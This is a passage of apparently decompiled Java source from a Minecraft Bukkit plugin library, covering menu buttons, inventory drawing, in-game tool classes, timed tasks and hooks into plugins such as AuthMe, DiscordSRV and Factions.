me.ego.ezbd.lib.fo.remain.CompMaterial; 9 | import org.bukkit.entity.Player; 10 | import org.bukkit.event.inventory.ClickType; 11 | import org.bukkit.inventory.ItemStack; 12 | 13 | public final class ButtonReturnBack extends Button { 14 | private static CompMaterial material; 15 | private static String title; 16 | private static List lore; 17 | @NonNull 18 | private final Menu parentMenu; 19 | private boolean makeNewInstance = false; 20 | 21 | public ItemStack getItem() { 22 | return ItemCreator.of(material).name(title).lores(lore).build().make(); 23 | } 24 | 25 | public void onClickedInMenu(Player pl, Menu menu, ClickType click) { 26 | if (this.makeNewInstance) { 27 | this.parentMenu.newInstance().displayTo(pl); 28 | } else { 29 | this.parentMenu.displayTo(pl); 30 | } 31 | 32 | } 33 | 34 | public ButtonReturnBack(@NonNull Menu parentMenu) { 35 | if (parentMenu == null) { 36 | throw new NullPointerException("parentMenu is marked non-null but is null"); 37 | } else { 38 | this.parentMenu = parentMenu; 39 | } 40 | } 41 | 42 | public ButtonReturnBack(@NonNull Menu parentMenu, boolean makeNewInstance) { 43 | if (parentMenu == null) { 44 | throw new NullPointerException("parentMenu is marked non-null but is null"); 45 | } else { 46 | this.parentMenu = parentMenu; 47 | this.makeNewInstance = makeNewInstance; 48 | } 49 | } 50 | 51 | public static CompMaterial getMaterial() { 52 | return material; 53 | } 54 | 55 | public static void setMaterial(CompMaterial material) { 56 | ButtonReturnBack.material = material; 57 | } 58 | 59 | public static String getTitle() { 60 | return title; 61 | } 62 | 63 | public static void setTitle(String title) { 64 | ButtonReturnBack.title = title; 65 | } 66 | 67 | public static List getLore() { 68 | return lore; 69 | } 70 | 71 | public static void setLore(List lore) { 72 | ButtonReturnBack.lore = lore; 73 | } 74 | 75 | static { 76 | material = CompMaterial.OAK_DOOR; 77 | title = me.ego.ezbd.lib.fo.settings.SimpleLocalization.Menu.BUTTON_RETURN_TITLE; 78 | lore = Arrays.asList(me.ego.ezbd.lib.fo.settings.SimpleLocalization.Menu.BUTTON_RETURN_LORE); 79 | } 80 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/menu/model/InventoryDrawer.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.menu.model; 2 | 3 | import javax.annotation.Nullable; 4 | import me.ego.ezbd.lib.fo.Common; 5 | import me.ego.ezbd.lib.fo.remain.CompMaterial; 6 | import org.bukkit.Bukkit; 7 | import org.bukkit.entity.Player; 8 | import org.bukkit.inventory.Inventory; 9 | import org.bukkit.inventory.InventoryHolder; 10 | import org.bukkit.inventory.ItemStack; 11 | 12 | public final class InventoryDrawer { 13 | private final int size; 14 | private String title; 15 | private final ItemStack[] content; 16 | 17 | private InventoryDrawer(int size, String title) { 18 | this.size = size; 19 | this.title = title; 20 | this.content = new ItemStack[size]; 21 | } 22 | 23 | public void pushItem(ItemStack item) { 24 | boolean added = false; 25 | 26 | for(int i = 0; i < this.content.length; ++i) { 27 | ItemStack currentItem = this.content[i]; 28 | if (currentItem == null) { 29 | this.content[i] = item; 30 | added = true; 31 | break; 32 | } 33 | } 34 | 35 | if (!added) { 36 | this.content[this.size - 1] = item; 37 | } 38 | 39 | } 40 | 41 | public boolean isSet(int slot) { 42 | return this.getItem(slot) != null; 43 | } 44 | 45 | public ItemStack getItem(int slot) { 46 | return slot < this.content.length ? this.content[slot] : null; 47 | } 48 | 49 | public void setItem(int slot, ItemStack item) { 50 | this.content[slot] = item; 51 | } 52 | 53 | public void setContent(ItemStack[] newContent) { 54 | for(int i = 0; i < this.content.length; ++i) { 55 | this.content[i] = i < newContent.length ? newContent[i] : new ItemStack(CompMaterial.AIR.getMaterial()); 56 | } 57 | 58 | } 59 | 60 | public void setTitle(String title) { 61 | this.title = title; 62 | } 63 | 64 | public void display(Player player) { 65 | Inventory inv = this.build(player); 66 | if (player.getOpenInventory() != null) { 67 | player.closeInventory(); 68 | } 69 | 70 | player.openInventory(inv); 71 | } 72 | 73 | public Inventory build() { 74 | return this.build((InventoryHolder)null); 75 | } 76 | 77 | public Inventory build(@Nullable InventoryHolder holder) { 78 | Inventory inv = Bukkit.createInventory(holder, this.size, Common.colorize("&0" + this.title)); 79 | inv.setContents(this.content); 80 | return inv; 81 | } 82 | 83 | public static InventoryDrawer of(int size, String title) { 84 | return new InventoryDrawer(size, title); 85 | } 86 | 87 | public int getSize() { 88 | return this.size; 89 | } 90 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/menu/model/MenuClickLocation.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.menu.model; 2 | 3 | public enum MenuClickLocation { 4 | MENU, 5 | PLAYER_INVENTORY, 6 | OUTSIDE; 7 | 8 | private MenuClickLocation() { 9 | } 10 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/menu/model/MenuQuantity.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.menu.model; 2 | 3 | public enum MenuQuantity { 4 | ONE(1), 5 | TWO(2), 6 | FIVE(5), 7 | TEN(10), 8 | TWENTY(20); 9 | 10 | private final int amount; 11 | 12 | public final MenuQuantity previous() { 13 | int next = this.ordinal() - 1; 14 | MenuQuantity[] values = values(); 15 | return next >= 0 ? values[next] : values[values.length - 1]; 16 | } 17 | 18 | public final MenuQuantity next() { 19 | int next = this.ordinal() + 1; 20 | MenuQuantity[] values = values(); 21 | return next >= values.length ? values[0] : values[next]; 22 | } 23 | 24 | private MenuQuantity(int amount) { 25 | this.amount = amount; 26 | } 27 | 28 | public int getAmount() { 29 | return this.amount; 30 | } 31 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/menu/tool/BlockTool.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.menu.tool; 2 | 3 | import org.bukkit.block.Block; 4 | import org.bukkit.entity.Player; 5 | import org.bukkit.event.block.Action; 6 | import org.bukkit.event.inventory.ClickType; 7 | import org.bukkit.event.player.PlayerInteractEvent; 8 | 9 | public abstract class BlockTool extends Tool { 10 | private PlayerInteractEvent event; 11 | 12 | public BlockTool() { 13 | } 14 | 15 | protected final void onBlockClick(PlayerInteractEvent event) { 16 | this.event = event; 17 | Player player = event.getPlayer(); 18 | Block block = event.getClickedBlock(); 19 | Action action = event.getAction(); 20 | if (action == Action.RIGHT_CLICK_BLOCK) { 21 | this.onBlockClick(player, ClickType.RIGHT, block); 22 | } else if (action == Action.LEFT_CLICK_BLOCK) { 23 | this.onBlockClick(player, ClickType.LEFT, block); 24 | } else if (action == Action.RIGHT_CLICK_AIR) { 25 | this.onAirClick(player, ClickType.RIGHT); 26 | } else if (action == Action.LEFT_CLICK_AIR) { 27 | this.onAirClick(player, ClickType.LEFT); 28 | } 29 | 30 | } 31 | 32 | protected abstract void onBlockClick(Player var1, ClickType var2, Block var3); 33 | 34 | protected void onAirClick(Player player, ClickType click) { 35 | } 36 | 37 | protected final boolean ignoreCancelled() { 38 | return false; 39 | } 40 | 41 | protected PlayerInteractEvent getEvent() { 42 | return this.event; 43 | } 44 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/menu/tool/Rocket.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.menu.tool; 2 | 3 | import me.ego.ezbd.lib.fo.Valid; 4 | import org.bukkit.Location; 5 | import org.bukkit.entity.Player; 6 | import org.bukkit.entity.Projectile; 7 | import org.bukkit.event.player.PlayerInteractEvent; 8 | 9 | public abstract class Rocket extends Tool { 10 | private final Class projectile; 11 | private final float flightSpeed; 12 | private final float explosionPower; 13 | private final boolean breakBlocks; 14 | 15 | protected Rocket(Class projectile) { 16 | this(projectile, 1.5F); 17 | } 18 | 19 | protected Rocket(Class projectile, float flightSpeed) { 20 | this(projectile, flightSpeed, 5.0F); 21 | } 22 | 23 | protected Rocket(Class projectile, float flightSpeed, float explosionPower) { 24 | this(projectile, flightSpeed, explosionPower, true); 25 | } 26 | 27 | protected Rocket(Class projectile, float flightSpeed, float explosionPower, boolean breakBlocks) { 28 | Valid.checkBoolean(flightSpeed <= 10.0F, "Rocket cannot have speed over 10", new Object[0]); 29 | Valid.checkBoolean(explosionPower <= 30.0F, "Rocket cannot have explosion power over 30", new Object[0]); 30 | this.projectile = projectile; 31 | this.flightSpeed = flightSpeed; 32 | this.explosionPower = explosionPower; 33 | this.breakBlocks = breakBlocks; 34 | } 35 | 36 | protected void onBlockClick(PlayerInteractEvent e) { 37 | } 38 | 39 | protected boolean canLaunch(Player shooter, Location location) { 40 | return true; 41 | } 42 | 43 | protected void onLaunch(Projectile projectile, Player shooter) { 44 | } 45 | 46 | protected void onFlyTick(Projectile projectile, Player shooter) { 47 | } 48 | 49 | protected boolean canExplode(Projectile projectile, Player shooter) { 50 | return true; 51 | } 52 | 53 | protected void onExplode(Projectile projectile, Player shooter) { 54 | } 55 | 56 | protected boolean ignoreCancelled() { 57 | return false; 58 | } 59 | 60 | protected boolean autoCancel() { 61 | return true; 62 | } 63 | 64 | public Class getProjectile() { 65 | return this.projectile; 66 | } 67 | 68 | public float getFlightSpeed() { 69 | return this.flightSpeed; 70 | } 71 | 72 | public float getExplosionPower() { 73 | return this.explosionPower; 74 | } 75 | 76 | public boolean isBreakBlocks() { 77 | return this.breakBlocks; 78 | } 79 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/menu/tool/Tool.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.menu.tool; 2 | 3 | import me.ego.ezbd.lib.fo.ItemUtil; 4 | import org.bukkit.entity.Player; 5 | import org.bukkit.event.block.BlockPlaceEvent; 6 | import org.bukkit.event.player.PlayerInteractEvent; 7 | import org.bukkit.inventory.ItemStack; 8 | 9 | public abstract class Tool { 10 | protected Tool() { 11 | (new Thread(() -> { 12 | try { 13 | Thread.sleep(3L); 14 | } catch (InterruptedException var2) { 15 | var2.printStackTrace(); 16 | } 17 | 18 | if (!ToolRegistry.isRegistered(this)) { 19 | ToolRegistry.register(this); 20 | } 21 | 22 | })).start(); 23 | } 24 | 25 | public boolean isTool(ItemStack item) { 26 | return ItemUtil.isSimilar(this.getItem(), item); 27 | } 28 | 29 | public boolean hasToolInHand(Player player) { 30 | return this.isTool(player.getItemInHand()); 31 | } 32 | 33 | public abstract ItemStack getItem(); 34 | 35 | protected void onBlockClick(PlayerInteractEvent event) { 36 | } 37 | 38 | protected void onBlockPlace(BlockPlaceEvent event) { 39 | } 40 | 41 | protected void onHotbarFocused(Player player) { 42 | } 43 | 44 | protected void onHotbarDefocused(Player player) { 45 | } 46 | 47 | protected boolean ignoreCancelled() { 48 | return true; 49 | } 50 | 51 | protected boolean autoCancel() { 52 | return false; 53 | } 54 | 55 | public final void give(Player player, int slot) { 56 | player.getInventory().setItem(slot, this.getItem()); 57 | } 58 | 59 | public final void give(Player player) { 60 | player.getInventory().addItem(new ItemStack[]{this.getItem()}); 61 | } 62 | 63 | public final boolean equals(Object obj) { 64 | return obj instanceof Tool && ((Tool)obj).getItem().equals(this.getItem()); 65 | } 66 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/menu/tool/ToolRegistry.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.menu.tool; 2 | 3 | import java.util.Collection; 4 | import java.util.Iterator; 5 | import java.util.concurrent.ConcurrentLinkedQueue; 6 | import me.ego.ezbd.lib.fo.Valid; 7 | import org.bukkit.inventory.ItemStack; 8 | 9 | public final class ToolRegistry { 10 | private static final Collection tools = new ConcurrentLinkedQueue(); 11 | 12 | public ToolRegistry() { 13 | } 14 | 15 | static synchronized void register(Tool tool) { 16 | Valid.checkBoolean(!isRegistered(tool), "Tool with itemstack " + tool.getItem() + " already registered", new Object[0]); 17 | tools.add(tool); 18 | } 19 | 20 | static synchronized boolean isRegistered(Tool tool) { 21 | return getTool(tool.getItem()) != null; 22 | } 23 | 24 | public static Tool getTool(ItemStack item) { 25 | Iterator var1 = tools.iterator(); 26 | 27 | Tool t; 28 | do { 29 | if (!var1.hasNext()) { 30 | return null; 31 | } 32 | 33 | t = (Tool)var1.next(); 34 | } while(!t.isTool(item)); 35 | 36 | return t; 37 | } 38 | 39 | public static Tool[] getTools() { 40 | return (Tool[])tools.toArray(new Tool[tools.size()]); 41 | } 42 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/AuthMeHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import fr.xephi.authme.api.v3.AuthMeApi; 4 | import org.bukkit.entity.Player; 5 | 6 | class AuthMeHook { 7 | AuthMeHook() { 8 | } 9 | 10 | boolean isLogged(Player player) { 11 | try { 12 | AuthMeApi instance = AuthMeApi.getInstance(); 13 | return instance.isAuthenticated(player); 14 | } catch (Throwable var3) { 15 | return false; 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/BanManagerHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.lang.reflect.Method; 4 | import java.util.UUID; 5 | import me.ego.ezbd.lib.fo.Common; 6 | import me.ego.ezbd.lib.fo.ReflectionUtil; 7 | import org.bukkit.entity.Player; 8 | 9 | class BanManagerHook { 10 | BanManagerHook() { 11 | } 12 | 13 | boolean isMuted(Player player) { 14 | try { 15 | Class api = ReflectionUtil.lookupClass("me.confuser.banmanager.common.api.BmAPI"); 16 | Method isMuted = ReflectionUtil.getMethod(api, "isMuted", new Class[]{UUID.class}); 17 | return (Boolean)ReflectionUtil.invoke(isMuted, (Object)null, new Object[]{player.getUniqueId()}); 18 | } catch (Throwable var4) { 19 | if (!var4.toString().contains("Could not find class")) { 20 | Common.log(new String[]{"Unable to check if " + player.getName() + " is muted at BanManager. Is the API hook outdated? Got: " + var4}); 21 | } 22 | 23 | return false; 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/BossHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.lang.reflect.Method; 4 | import me.ego.ezbd.lib.fo.Common; 5 | import me.ego.ezbd.lib.fo.ReflectionUtil; 6 | import org.bukkit.entity.Entity; 7 | 8 | class BossHook { 9 | BossHook() { 10 | } 11 | 12 | String getBossName(Entity entity) { 13 | try { 14 | Class api = ReflectionUtil.lookupClass("org.mineacademy.boss.api.BossAPI"); 15 | Method getBoss = ReflectionUtil.getMethod(api, "getBoss", new Class[]{Entity.class}); 16 | Object boss = ReflectionUtil.invoke(getBoss, (Object)null, new Object[]{entity}); 17 | if (boss != null) { 18 | Method getName = ReflectionUtil.getMethod(boss.getClass(), "getName"); 19 | return (String)ReflectionUtil.invoke(getName, boss, new Object[0]); 20 | } 21 | } catch (Throwable var6) { 22 | Common.log(new String[]{"Unable to check if " + entity + " is a BOSS. Is the API hook outdated? Got: " + var6}); 23 | } 24 | 25 | return null; 26 | } 27 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/ChunkedTask.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import me.ego.ezbd.lib.fo.Common; 4 | 5 | public abstract class ChunkedTask { 6 | private int waitPeriodTicks = 20; 7 | private final int processAmount; 8 | private int currentIndex = 0; 9 | 10 | public final void startChain() { 11 | Common.runLater(() -> { 12 | long now = System.currentTimeMillis(); 13 | boolean finished = false; 14 | int processed = 0; 15 | 16 | for(int i = this.currentIndex; i < this.currentIndex + this.processAmount; ++i) { 17 | if (!this.canContinue(i)) { 18 | finished = true; 19 | break; 20 | } 21 | 22 | this.onProcess(i); 23 | ++processed; 24 | } 25 | 26 | if (processed > 0 || !finished) { 27 | Common.log(new String[]{this.getProcessMessage(now, processed)}); 28 | } 29 | 30 | if (!finished) { 31 | this.currentIndex += this.processAmount; 32 | Common.runLaterAsync(this.waitPeriodTicks, this::startChain); 33 | } else { 34 | this.onFinish(); 35 | } 36 | 37 | }); 38 | } 39 | 40 | protected abstract void onProcess(int var1); 41 | 42 | protected abstract boolean canContinue(int var1); 43 | 44 | protected String getProcessMessage(long initialTime, int processed) { 45 | return "Processed " + String.format("%,d", processed) + " " + this.getLabel() + ". Took " + (System.currentTimeMillis() - initialTime) + " ms"; 46 | } 47 | 48 | protected void onFinish() { 49 | } 50 | 51 | protected String getLabel() { 52 | return "blocks"; 53 | } 54 | 55 | public ChunkedTask(int processAmount) { 56 | this.processAmount = processAmount; 57 | } 58 | 59 | public void setWaitPeriodTicks(int waitPeriodTicks) { 60 | this.waitPeriodTicks = waitPeriodTicks; 61 | } 62 | 63 | public int getCurrentIndex() { 64 | return this.currentIndex; 65 | } 66 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/CitizensHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import net.citizensnpcs.api.CitizensAPI; 4 | import net.citizensnpcs.api.npc.NPCRegistry; 5 | import org.bukkit.entity.Entity; 6 | 7 | class CitizensHook { 8 | CitizensHook() { 9 | } 10 | 11 | boolean isNPC(Entity entity) { 12 | NPCRegistry reg = CitizensAPI.getNPCRegistry(); 13 | return reg != null ? reg.isNPC(entity) : false; 14 | } 15 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/ConfigSerializable.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import me.ego.ezbd.lib.fo.collection.SerializedMap; 4 | 5 | public interface ConfigSerializable { 6 | SerializedMap serialize(); 7 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/Countdown.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import me.ego.ezbd.lib.fo.Common; 4 | import me.ego.ezbd.lib.fo.Valid; 5 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin; 6 | import org.bukkit.Bukkit; 7 | import org.bukkit.scheduler.BukkitTask; 8 | 9 | public abstract class Countdown implements Runnable { 10 | private static final int START_DELAY = 20; 11 | private static final int TICK_PERIOD = 20; 12 | private final int countdownSeconds; 13 | private int secondsSinceStart; 14 | private int taskId; 15 | 16 | protected Countdown(SimpleTime time) { 17 | this((int)time.getTimeSeconds()); 18 | } 19 | 20 | protected Countdown(int countdownSeconds) { 21 | this.secondsSinceStart = 0; 22 | this.taskId = -1; 23 | this.countdownSeconds = countdownSeconds; 24 | } 25 | 26 | public final void run() { 27 | ++this.secondsSinceStart; 28 | if (this.secondsSinceStart < this.countdownSeconds) { 29 | try { 30 | this.onTick(); 31 | } catch (Throwable var4) { 32 | Throwable t = var4; 33 | 34 | try { 35 | this.onTickError(t); 36 | } catch (Throwable var3) { 37 | Common.log(new String[]{"Unable to handle onTickError, got " + var4 + ": " + var3.getMessage()}); 38 | } 39 | 40 | Common.error(var4, new String[]{"Error in countdown!", "Seconds since start: " + this.secondsSinceStart, "Counting till: " + this.countdownSeconds, "%error"}); 41 | } 42 | } else { 43 | this.cancel(); 44 | this.onEnd(); 45 | } 46 | 47 | } 48 | 49 | protected void onStart() { 50 | } 51 | 52 | protected abstract void onTick(); 53 | 54 | protected abstract void onEnd(); 55 | 56 | protected void onTickError(Throwable t) { 57 | } 58 | 59 | public int getTimeLeft() { 60 | return this.countdownSeconds - this.secondsSinceStart; 61 | } 62 | 63 | public final void launch() { 64 | Valid.checkBoolean(!this.isRunning(), "Task " + this + " already scheduled!", new Object[0]); 65 | BukkitTask task = Bukkit.getScheduler().runTaskTimer(SimplePlugin.getInstance(), this, 20L, 20L); 66 | this.taskId = task.getTaskId(); 67 | this.onStart(); 68 | } 69 | 70 | public final void cancel() { 71 | Bukkit.getScheduler().cancelTask(this.getTaskId()); 72 | this.taskId = -1; 73 | this.secondsSinceStart = 0; 74 | } 75 | 76 | public final boolean isRunning() { 77 | return this.taskId != -1; 78 | } 79 | 80 | public final int getTaskId() { 81 | Valid.checkBoolean(this.isRunning(), "Task " + this + " not scheduled yet", new Object[0]); 82 | return this.taskId; 83 | } 84 | 85 | public final String toString() { 86 | return this.getClass().getSimpleName() + "{" + this.countdownSeconds + ", id=" + this.taskId + "}"; 87 | } 88 | 89 | public int getCountdownSeconds() { 90 | return this.countdownSeconds; 91 | } 92 | 93 | protected int getSecondsSinceStart() { 94 | return this.secondsSinceStart; 95 | } 96 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/DiscordSRVHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import github.scarsz.discordsrv.DiscordSRV; 4 | import github.scarsz.discordsrv.dependencies.jda.api.entities.TextChannel; 5 | import github.scarsz.discordsrv.util.DiscordUtil; 6 | import java.io.File; 7 | import java.util.Set; 8 | import me.ego.ezbd.lib.fo.debug.Debugger; 9 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin; 10 | import org.bukkit.command.CommandSender; 11 | import org.bukkit.configuration.file.FileConfiguration; 12 | import org.bukkit.configuration.file.YamlConfiguration; 13 | import org.bukkit.entity.Player; 14 | import org.bukkit.event.Listener; 15 | import org.bukkit.plugin.java.JavaPlugin; 16 | 17 | class DiscordSRVHook implements Listener { 18 | DiscordSRVHook() { 19 | } 20 | 21 | Set getChannels() { 22 | return DiscordSRV.getPlugin().getChannels().keySet(); 23 | } 24 | 25 | boolean sendMessage(String channel, String message) { 26 | return this.sendMessage((CommandSender)null, channel, message); 27 | } 28 | 29 | boolean sendMessage(CommandSender sender, String channel, String message) { 30 | TextChannel textChannel = DiscordSRV.getPlugin().getDestinationTextChannelForGameChannelName(channel); 31 | if (textChannel == null) { 32 | Debugger.debug("discord", new String[]{"[MC->Discord] Could not find Discord channel '" + channel + "'. Available: " + String.join(", ", this.getChannels()) + ". Not sending: " + message}); 33 | return false; 34 | } else { 35 | if (sender instanceof Player) { 36 | Debugger.debug("discord", new String[]{"[MC->Discord] " + sender.getName() + " send message to '" + channel + "' channel. Message: '" + message + "'"}); 37 | DiscordSRV instance = (DiscordSRV)JavaPlugin.getPlugin(DiscordSRV.class); 38 | File file = new File(SimplePlugin.getData().getParent(), "DiscordSRV/config.yml"); 39 | if (file.exists()) { 40 | FileConfiguration discordConfig = YamlConfiguration.loadConfiguration(file); 41 | if (discordConfig != null) { 42 | String outMessageKey = "DiscordChatChannelMinecraftToDiscord"; 43 | boolean outMessageOldValue = discordConfig.getBoolean("DiscordChatChannelMinecraftToDiscord"); 44 | discordConfig.set("DiscordChatChannelMinecraftToDiscord", true); 45 | 46 | try { 47 | instance.processChatMessage((Player)sender, message, channel, false); 48 | } finally { 49 | discordConfig.set("DiscordChatChannelMinecraftToDiscord", outMessageOldValue); 50 | } 51 | } 52 | } 53 | } else { 54 | Debugger.debug("discord", new String[]{"[MC->Discord] " + (sender == null ? "No sender " : sender.getName() + " (generic)") + "sent message to '" + channel + "' channel. Message: '" + message + "'"}); 55 | DiscordUtil.sendMessage(textChannel, message); 56 | } 57 | 58 | return true; 59 | } 60 | } 61 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/FactionsHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Collection; 5 | import java.util.Iterator; 6 | import java.util.List; 7 | import me.ego.ezbd.lib.fo.remain.Remain; 8 | import org.bukkit.Location; 9 | import org.bukkit.entity.Player; 10 | 11 | abstract class FactionsHook { 12 | FactionsHook() { 13 | } 14 | 15 | abstract Collection getFactions(); 16 | 17 | abstract String getFaction(Player var1); 18 | 19 | abstract String getFaction(Location var1); 20 | 21 | abstract String getFactionOwner(Location var1); 22 | 23 | final Collection getSameFactionPlayers(Player pl) { 24 | List recipients = new ArrayList(); 25 | String playerFaction = this.getFaction(pl); 26 | if (playerFaction != null && !playerFaction.isEmpty()) { 27 | Iterator var4 = Remain.getOnlinePlayers().iterator(); 28 | 29 | while(var4.hasNext()) { 30 | Player online = (Player)var4.next(); 31 | String onlineFaction = this.getFaction(online); 32 | if (playerFaction.equals(onlineFaction)) { 33 | recipients.add(online); 34 | } 35 | } 36 | } 37 | 38 | return recipients; 39 | } 40 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/FactionsMassive.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import com.massivecraft.factions.entity.BoardColl; 4 | import com.massivecraft.factions.entity.Faction; 5 | import com.massivecraft.factions.entity.FactionColl; 6 | import com.massivecraft.factions.entity.MPlayer; 7 | import com.massivecraft.massivecore.ps.PS; 8 | import java.util.Collection; 9 | import me.ego.ezbd.lib.fo.Common; 10 | import org.bukkit.Location; 11 | import org.bukkit.entity.Player; 12 | 13 | final class FactionsMassive extends FactionsHook { 14 | FactionsMassive() { 15 | } 16 | 17 | public Collection getFactions() { 18 | return Common.convert(FactionColl.get().getAll(), (object) -> { 19 | return Common.stripColors(object.getName()); 20 | }); 21 | } 22 | 23 | public String getFaction(Player pl) { 24 | try { 25 | return MPlayer.get(pl.getUniqueId()).getFactionName(); 26 | } catch (Exception var3) { 27 | return null; 28 | } 29 | } 30 | 31 | public String getFaction(Location loc) { 32 | Faction f = BoardColl.get().getFactionAt(PS.valueOf(loc)); 33 | return f != null ? f.getName() : null; 34 | } 35 | 36 | public String getFactionOwner(Location loc) { 37 | Faction f = BoardColl.get().getFactionAt(PS.valueOf(loc)); 38 | if (f != null) { 39 | return f.getLeader() != null ? f.getLeader().getName() : null; 40 | } else { 41 | return null; 42 | } 43 | } 44 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/FactionsUUID.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import com.massivecraft.factions.Board; 4 | import com.massivecraft.factions.FLocation; 5 | import com.massivecraft.factions.FPlayer; 6 | import java.util.Collection; 7 | import java.util.Set; 8 | import me.ego.ezbd.lib.fo.exception.FoException; 9 | import org.bukkit.Location; 10 | import org.bukkit.entity.Player; 11 | 12 | final class FactionsUUID extends FactionsHook { 13 | FactionsUUID() { 14 | } 15 | 16 | public Collection getFactions() { 17 | try { 18 | Object i = this.instance(); 19 | Set tags = (Set)i.getClass().getMethod("getFactionTags").invoke(i); 20 | return tags; 21 | } catch (Throwable var3) { 22 | var3.printStackTrace(); 23 | return null; 24 | } 25 | } 26 | 27 | public String getFaction(Player pl) { 28 | try { 29 | Object fplayers = this.fplayers(); 30 | Object fpl = fplayers.getClass().getMethod("getByPlayer", Player.class).invoke(fplayers, pl); 31 | Object f = fpl != null ? fpl.getClass().getMethod("getFaction").invoke(fpl) : null; 32 | Object name = f != null ? f.getClass().getMethod("getTag").invoke(f) : null; 33 | return name != null ? name.toString() : null; 34 | } catch (ReflectiveOperationException var6) { 35 | var6.printStackTrace(); 36 | return null; 37 | } 38 | } 39 | 40 | public String getFaction(Location loc) { 41 | Object f = this.findFaction(loc); 42 | 43 | try { 44 | return f != null ? f.getClass().getMethod("getTag").invoke(f).toString() : null; 45 | } catch (ReflectiveOperationException var4) { 46 | var4.printStackTrace(); 47 | return null; 48 | } 49 | } 50 | 51 | public String getFactionOwner(Location loc) { 52 | Object faction = this.findFaction(loc); 53 | 54 | try { 55 | return faction != null ? ((FPlayer)faction.getClass().getMethod("getFPlayerAdmin").invoke(faction)).getName() : null; 56 | } catch (ReflectiveOperationException var4) { 57 | var4.printStackTrace(); 58 | return null; 59 | } 60 | } 61 | 62 | private Object findFaction(Location loc) { 63 | Class b = Board.class; 64 | 65 | try { 66 | return b.getMethod("getFactionAt", FLocation.class).invoke(b.getMethod("getInstance").invoke((Object)null), new FLocation(loc)); 67 | } catch (ReflectiveOperationException var4) { 68 | var4.printStackTrace(); 69 | return null; 70 | } 71 | } 72 | 73 | private Object instance() { 74 | try { 75 | return Class.forName("com.massivecraft.factions.Factions").getDeclaredMethod("getInstance").invoke((Object)null); 76 | } catch (ReflectiveOperationException var2) { 77 | var2.printStackTrace(); 78 | throw new FoException(var2); 79 | } 80 | } 81 | 82 | private Object fplayers() { 83 | try { 84 | return Class.forName("com.massivecraft.factions.FPlayers").getDeclaredMethod("getInstance").invoke((Object)null); 85 | } catch (ReflectiveOperationException var2) { 86 | var2.printStackTrace(); 87 | throw new FoException(var2); 88 | } 89 | } 90 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/IsInList.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.util.Collection; 4 | import me.ego.ezbd.lib.fo.collection.StrictList; 5 | import me.ego.ezbd.lib.fo.collection.StrictSet; 6 | 7 | public final class IsInList { 8 | private final StrictSet list; 9 | private final boolean matchAll; 10 | 11 | public IsInList(StrictSet list) { 12 | this((Collection)list.getSource()); 13 | } 14 | 15 | public IsInList(StrictList list) { 16 | this((Collection)list.getSource()); 17 | } 18 | 19 | public IsInList(Collection list) { 20 | this.list = new StrictSet(list); 21 | if (list.isEmpty()) { 22 | this.matchAll = true; 23 | } else if (list.iterator().next().equals("*")) { 24 | this.matchAll = true; 25 | } else { 26 | this.matchAll = false; 27 | } 28 | 29 | } 30 | 31 | public boolean contains(T toEvaluateAgainst) { 32 | return this.matchAll || this.list.contains(toEvaluateAgainst); 33 | } 34 | 35 | public boolean isEntireList() { 36 | return this.matchAll; 37 | } 38 | 39 | public StrictSet getList() { 40 | return this.list; 41 | } 42 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/ItemsAdderHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.lang.reflect.Method; 4 | import javax.annotation.Nullable; 5 | import me.ego.ezbd.lib.fo.ReflectionUtil; 6 | import org.bukkit.entity.Player; 7 | 8 